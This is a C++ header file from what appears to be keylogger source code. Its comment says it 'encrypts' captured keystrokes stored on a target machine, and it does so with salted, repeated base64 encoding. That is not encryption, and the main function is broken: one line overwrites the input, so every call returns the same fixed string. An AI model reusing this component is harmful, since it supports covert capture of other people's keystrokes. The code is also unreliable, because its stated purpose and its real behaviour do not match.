Base64.h

/**************************************************************************************/
/* ---------------------			GURPREET SINGH			 ------------------------ */
/*Encrypting the keystrokes, which will be stored on the target machine, base64 encoding actually*/

#ifndef BASE64_H
#define BASE64_H

#include <vector>
#include <string>

namespace Base64 {
	std::string base64_encode(const std::string &);
	
	const std::string &SALT1 = "LM::TB::BB";
	const std::string &SALT2 = "_:/_77";
	const std::string &SALT3 = "line=wowC++";
	
	std::string EncryptB64(std::string s) {
		s = SALT1 + s + SALT2 + SALT3;
		s= base64_encode(s);
		s.insert(7, SALT3);
		s += SALT1;
		s = base64_encode(s);
		s = SALT2 + SALT3 + SALT1;
		s = base64_encode(s);
		s.insert(1, "L");
		s.insert(7, "M");
		return s;
	}
	
	const std::string &BASE64_CODES = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
	
	std::string base64_encode( const std::string &s) {
		std::string ret;
		int val = 0;
		int bits = -6;
		const unsigned int b63 = 0x3F;
		
		for (const auto &c : s) {
			val = (val << 8) + c;
			bits += 8;
			while(bits >= 0) {
				ret.push_back(BASE64_CODES[(val >> bits) & b63]);
				bits -= 6;
			}
		}
		if(bits > -6){
			ret.push_back(BASE64_CODES[(val << 8) >> (bits + 8) & b63]);
		}
		
		while(ret.size() %4) {
			ret.push_back('=');
		}
		return ret;
	}
}
#endif	//BASE64_H